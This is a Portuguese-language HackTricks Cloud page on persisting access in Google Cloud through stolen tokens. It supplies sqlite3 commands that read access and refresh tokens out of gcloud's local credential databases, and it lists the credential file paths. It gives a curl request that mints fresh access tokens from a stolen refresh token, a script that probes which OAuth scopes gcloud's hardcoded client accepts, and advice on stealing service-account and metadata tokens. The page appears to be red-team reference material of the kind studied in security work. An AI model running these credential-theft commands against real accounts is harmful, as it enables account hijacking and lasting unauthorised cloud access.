GCP - Persistência de Token
Reading time: 6 minutes
tip
Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
Tokens de Usuário Autenticados
Para obter o token atual de um usuário, você pode executar:
sqlite3 $HOME/.config/gcloud/access_tokens.db "select access_token from access_tokens where account_id='<email>';"
Verifique nesta página como usar diretamente este token usando gcloud:
Para obter os detalhes para gerar um novo token de acesso, execute:
sqlite3 $HOME/.config/gcloud/credentials.db "select value from credentials where account_id='<email>';"
Também é possível encontrar tokens de atualização em $HOME/.config/gcloud/application_default_credentials.json
e em $HOME/.config/gcloud/legacy_credentials/*/adc.json
.
Para obter um novo token de acesso atualizado com o token de atualização, ID do cliente e segredo do cliente, execute:
curl -s --data client_id=<client_id> --data client_secret=<client_secret> --data grant_type=refresh_token --data refresh_token=<refresh_token> --data scope="https://www.googleapis.com/auth/cloud-platform https://www.googleapis.com/auth/accounts.reauth" https://www.googleapis.com/oauth2/v4/token
A validade dos tokens de atualização pode ser gerenciada em Admin > Security > Google Cloud session control, e por padrão está definida para 16h, embora possa ser configurada para nunca expirar:
.png)
Fluxo de autenticação
O fluxo de autenticação ao usar algo como gcloud auth login
abrirá um prompt no navegador e, após aceitar todos os escopos, o navegador enviará uma solicitação como esta para a porta http aberta pela ferramenta:
/?state=EN5AK1GxwrEKgKog9ANBm0qDwWByYO&code=4/0AeaYSHCllDzZCAt2IlNWjMHqr4XKOuNuhOL-TM541gv-F6WOUsbwXiUgMYvo4Fg0NGzV9A&scope=email%20openid%20https://www.googleapis.com/auth/userinfo.email%20https://www.googleapis.com/auth/cloud-platform%20https://www.googleapis.com/auth/appengine.admin%20https://www.googleapis.com/auth/sqlservice.login%20https://www.googleapis.com/auth/compute%20https://www.googleapis.com/auth/accounts.reauth&authuser=0&prompt=consent HTTP/1.1
Então, o gcloud usará o estado e o código com um client_id
(32555940559.apps.googleusercontent.com
) e client_secret
(ZmssLNjJy2998hD4CTg2ejr2
) codificados para obter os dados finais do token de atualização.
caution
Note que a comunicação com localhost é em HTTP, então é possível interceptar os dados para obter um token de atualização, no entanto, esses dados são válidos apenas 1 vez, então isso seria inútil, é mais fácil apenas ler o token de atualização do arquivo.
Escopos OAuth
Você pode encontrar todos os escopos do Google em https://developers.google.com/identity/protocols/oauth2/scopes ou obtê-los executando:
curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-A/\-\._]*' | sort -u
É possível ver quais escopos o aplicativo que gcloud
usa para autenticar pode suportar com este script:
curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-Z/\._\-]*' | sort -u | while read -r scope; do
echo -ne "Testing $scope \r"
if ! curl -v "https://accounts.google.com/o/oauth2/auth?response_type=code&client_id=32555940559.apps.googleusercontent.com&redirect_uri=http%3A%2F%2Flocalhost%3A8085%2F&scope=openid+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fuserinfo.email+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcloud-platform+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fappengine.admin+$scope+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fsqlservice.login+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcompute+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Faccounts.reauth&state=AjvFqBW5XNIw3VADagy5pvUSPraLQu&access_type=offline&code_challenge=IOk5F08WLn5xYPGRAHP9CTGHbLFDUElsP551ni2leN4&code_challenge_method=S256" 2>&1 | grep -q "error"; then
echo ""
echo $scope
fi
done
Após a execução, foi verificado que este aplicativo suporta estes escopos:
https://www.googleapis.com/auth/appengine.admin
https://www.googleapis.com/auth/bigquery
https://www.googleapis.com/auth/cloud-platform
https://www.googleapis.com/auth/compute
https://www.googleapis.com/auth/devstorage.full_control
https://www.googleapis.com/auth/drive
https://www.googleapis.com/auth/userinfo.email
é interessante ver como este aplicativo suporta o drive
scope, o que poderia permitir que um usuário escalasse do GCP para o Workspace se um atacante conseguisse forçar o usuário a gerar um token com esse escopo.
Verifique como abusar disso aqui.
Contas de Serviço
Assim como com usuários autenticados, se você conseguir comprometer o arquivo de chave privada de uma conta de serviço, você poderá acessá-la geralmente pelo tempo que quiser.
No entanto, se você roubar o token OAuth de uma conta de serviço, isso pode ser ainda mais interessante, porque, mesmo que por padrão esses tokens sejam úteis apenas por uma hora, se a vítima excluir a chave da API privada, o token OAuth ainda será válido até expirar.
Metadados
Obviamente, enquanto você estiver dentro de uma máquina rodando no ambiente GCP, você poderá acessar a conta de serviço anexada a essa máquina contatando o endpoint de metadados (note que os tokens OAuth que você pode acessar neste endpoint geralmente são restritos por escopos).
Remediações
Algumas remediações para essas técnicas são explicadas em https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-2
Referências
- https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-1
- https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-2
tip
Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.